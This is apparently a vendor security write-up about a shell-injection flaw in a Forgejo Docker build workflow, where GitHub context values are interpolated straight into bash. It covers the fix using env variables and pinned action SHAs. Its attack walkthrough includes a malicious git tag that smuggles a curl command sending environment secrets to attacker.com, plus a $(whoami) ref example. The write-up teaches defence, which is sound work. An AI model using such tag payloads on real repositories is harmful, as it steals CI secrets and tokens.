The Vulnerability: Direct Expression Interpolation in CI Workflows
In a Forgejo workflow file (.forgejo/workflows/docker.yml), we discovered a high-severity shell injection vulnerability at line 42. The workflow's "Compute image tags" step directly interpolated GitHub context expressions into a bash script:
- name: Compute image tags
id: tags
run: |
IMAGE="${{ steps.reg.outputs.image }}"
if [[ "${{ github.ref }}" == refs/tags/v* ]]; then
# Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
VERSION="${{ github.ref_name }}"
VERSION="${VERSION#v}"
TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
else
TAGS="${IMAGE}:edge"
fi
echo "tags=$TAGS" >> $GITHUB_OUTPUT
The critical issue lies in how ${{ github.ref }} and ${{ github.ref_name }} are used. These expressions are evaluated by the GitHub Actions runner before the shell sees them, meaning their content is directly substituted into the bash script. Since git reference names can be created by anyone who can push to the repository (or submit a pull request in some configurations), this creates an injection point.
Why This Matters for CI/CD Security
GitHub Actions workflows are prime targets for supply chain attacks. A successful compromise can:
- Exfiltrate secrets: The runner has access to repository secrets like
REGISTRY_USERandREGISTRY_TOKEN(visible in line 61-62 of the workflow) - Modify build artifacts: Inject backdoors into Docker images before they're published
- Steal source code: Access the checked-out repository contents
- Pivot to infrastructure: Use stolen credentials to access production systems
This workflow builds and publishes Docker images to a container registry—a critical point in the software supply chain. An attacker who can inject commands here effectively controls what gets deployed.
How the Attack Works
Let's walk through a concrete attack scenario using this specific workflow:
Attack Setup: An attacker creates a git tag with a malicious name:
git tag 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'
git push origin 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'
What Happens: When the workflow runs, the GitHub Actions runner substitutes the tag name into the script:
# After ${{ github.ref_name }} interpolation:
VERSION="v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #"
The bash interpreter sees this as three commands:
1. VERSION="v1.0.0" - sets the version variable
2. curl -X POST https://attacker.com/exfil -d "$(env)" - exfiltrates all environment variables (including secrets)
3. #" - comments out the remaining quote, preventing syntax errors
The Result: The attacker receives all environment variables, including:
- REGISTRY_USER and REGISTRY_TOKEN from the workflow secrets
- GITHUB_TOKEN with repository access
- Any other secrets configured in the workflow
The workflow continues normally, publishing the Docker image, so the attack may go unnoticed.
The Vulnerability in Detail
The problematic code pattern appears twice in the vulnerable step:
Issue 1 - Conditional check (line 47):
if [[ "${{ github.ref }}" == refs/tags/v* ]]; then
After interpolation with a malicious ref like refs/tags/v1.0$(whoami), this becomes:
if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then
The command substitution $(whoami) executes before the comparison.
Issue 2 - Variable assignment (line 49):
VERSION="${{ github.ref_name }}"
With a malicious tag name like 1.0;malicious-command;, this becomes:
VERSION="1.0;malicious-command;"
The semicolons allow command chaining, and while the quotes might seem protective, subsequent uses of $VERSION (like in line 51: VERSION="${VERSION#v}") can trigger further evaluation.
The Fix: Environment Variable Isolation
The security patch introduces an isolation boundary using environment variables:
- name: Compute image tags
id: tags
env:
GH_REF: ${{ github.ref }}
GH_REF_NAME: ${{ github.ref_name }}
run: |
IMAGE="${{ steps.reg.outputs.image }}"
if [[ "$GH_REF" == refs/tags/v* ]]; then
# Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
VERSION="$GH_REF_NAME"
VERSION="${VERSION#v}"
TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
else
TAGS="${IMAGE}:edge"
fi
echo "tags=$TAGS" >> $GITHUB_OUTPUT
Key Changes:
-
Lines 42-44: New
env:block assigns GitHub context values to environment variables:
-GH_REF: ${{ github.ref }}
-GH_REF_NAME: ${{ github.ref_name }} -
Line 47: Conditional now uses
"$GH_REF"instead of"${{ github.ref }}" -
Line 49: Assignment now uses
"$GH_REF_NAME"instead of"${{ github.ref_name }}"
Why This Works:
When you define environment variables in the env: block, the GitHub Actions runner sets them in the shell environment before the script executes. Crucially, environment variable values are passed to the shell as literal strings—no interpretation of special characters occurs during the assignment.
When the bash script references "$GH_REF", the shell performs variable expansion but treats the content as a literal string. Even if the value contains shell metacharacters like ;, $(), or backticks, they remain inert because they're not being parsed as shell syntax.
Before (vulnerable):
# github.ref = 'refs/tags/v1.0$(whoami)'
if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then
# ^^^^^^^^^^^ - command substitution executes!
After (secure):
# GH_REF environment variable contains the literal string: refs/tags/v1.0$(whoami)
if [[ "$GH_REF" == refs/tags/v* ]]; then
# ^^^^^^^ - expanded as literal string, $() characters remain inert
Additional Security Improvements
The PR also includes three other important security enhancements:
Action Version Pinning (lines 19, 22, 25, 56):
- uses: https://github.com/actions/checkout@v4.2.2
+ uses: https://github.com/actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Instead of using mutable version tags like @v4.2.2, the workflow now pins to specific Git commit SHAs. This prevents supply chain attacks where an attacker compromises an action's repository and force-pushes malicious code to an existing version tag.
The pattern is repeated for:
- docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130
- docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f
- docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9
Each SHA is followed by a comment indicating the semantic version for human readability.
Prevention & Best Practices
1. Always Use Environment Variable Intermediaries
Never do this:
run: |
echo "Building version ${{ github.event.pull_request.title }}"
./build.sh "${{ github.event.issue.body }}"
Always do this:
env:
PR_TITLE: ${{ github.event.pull_request.title }}
ISSUE_BODY: ${{ github.event.issue.body }}
run: |
echo "Building version $PR_TITLE"
./build.sh "$ISSUE_BODY"
2. Treat All GitHub Context as Untrusted
The following github context properties can contain attacker-controlled content:
- github.event.issue.title / github.event.issue.body
- github.event.pull_request.title / github.event.pull_request.body
- github.event.comment.body
- github.event.head_commit.message
- github.head_ref (branch names)
- github.ref_name (tag/branch names)
Even if your repository is private, anyone with read access can potentially influence these values through issues, PRs, or commits.
3. Pin Actions to Commit SHAs
Use full commit SHAs instead of tags:
# ❌ Vulnerable to tag rewriting
uses: actions/checkout@v4
# ✅ Secure - immutable reference
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
4. Enable Workflow Security Features
In your repository settings:
- Require approval for workflows from first-time contributors
- Limit workflow permissions using permissions: blocks
- Use OpenID Connect (OIDC) tokens instead of long-lived secrets when possible
5. Use Static Analysis
Integrate tools like Semgrep into your CI/CD pipeline to catch these issues before merge:
- name: Security Scan
run: |
semgrep --config "p/github-actions" .github/workflows/
The rule that caught this vulnerability is yaml.github-actions.security.run-shell-injection.run-shell-injection.
Key Takeaways
- Never interpolate
${{github.*}}directly intorun:steps: The.forgejo/workflows/docker.ymlfile's direct use of${{github.ref}}in bash conditionals created an exploitable shell injection point - The
env:block is a security boundary: Movinggithub.refandgithub.ref_nameto environment variables (GH_REF,GH_REF_NAME) prevents shell metacharacter interpretation - Quote your environment variables: Always use
"$ENVVAR"syntax when referencing environment variables in shell scripts to prevent word splitting and glob expansion - Commit SHAs over version tags: The workflow now pins actions like
actions/checkoutto immutable commit SHAs (e.g.,@11bd71901bbe5b1630ceea73d27597364c9af683) instead of mutable tags like@v4.2.2 - Docker workflows are high-value targets: This workflow publishes images to a registry using
REGISTRY_USERandREGISTRY_TOKENsecrets—a compromised workflow could inject backdoors into production containers
How Orbis AppSec Detected This
- Source: Untrusted input from
github.refandgithub.ref_namecontext properties, which can be controlled by anyone who can create git references - Sink: Direct interpolation into bash
run:script at.forgejo/workflows/docker.yml:47and:49using${{...}}expression syntax - Missing control: No intermediate environment variable to isolate the untrusted data from shell interpretation
- CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Introduced
env:block withGH_REFandGH_REF_NAMEvariables, changed script to reference these quoted environment variables instead of direct interpolation
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Shell injection in GitHub Actions workflows represents a critical supply chain risk that's easy to overlook. The pattern is subtle—${{...}} expressions look like template syntax, not code execution. But in run: steps, they're evaluated before the shell sees the script, making them equivalent to string concatenation in SQL injection.
The fix demonstrated here—using environment variables as an isolation boundary—is simple, effective, and should be applied universally. Every ${{github.*}} expression in a run: step is a potential injection point.
As CI/CD systems become increasingly targeted by sophisticated attackers, defensive hardening like this isn't optional. Even if you trust your contributors today, threat models evolve. Removing exploit primitives proactively makes your infrastructure resilient against tomorrow's attacks.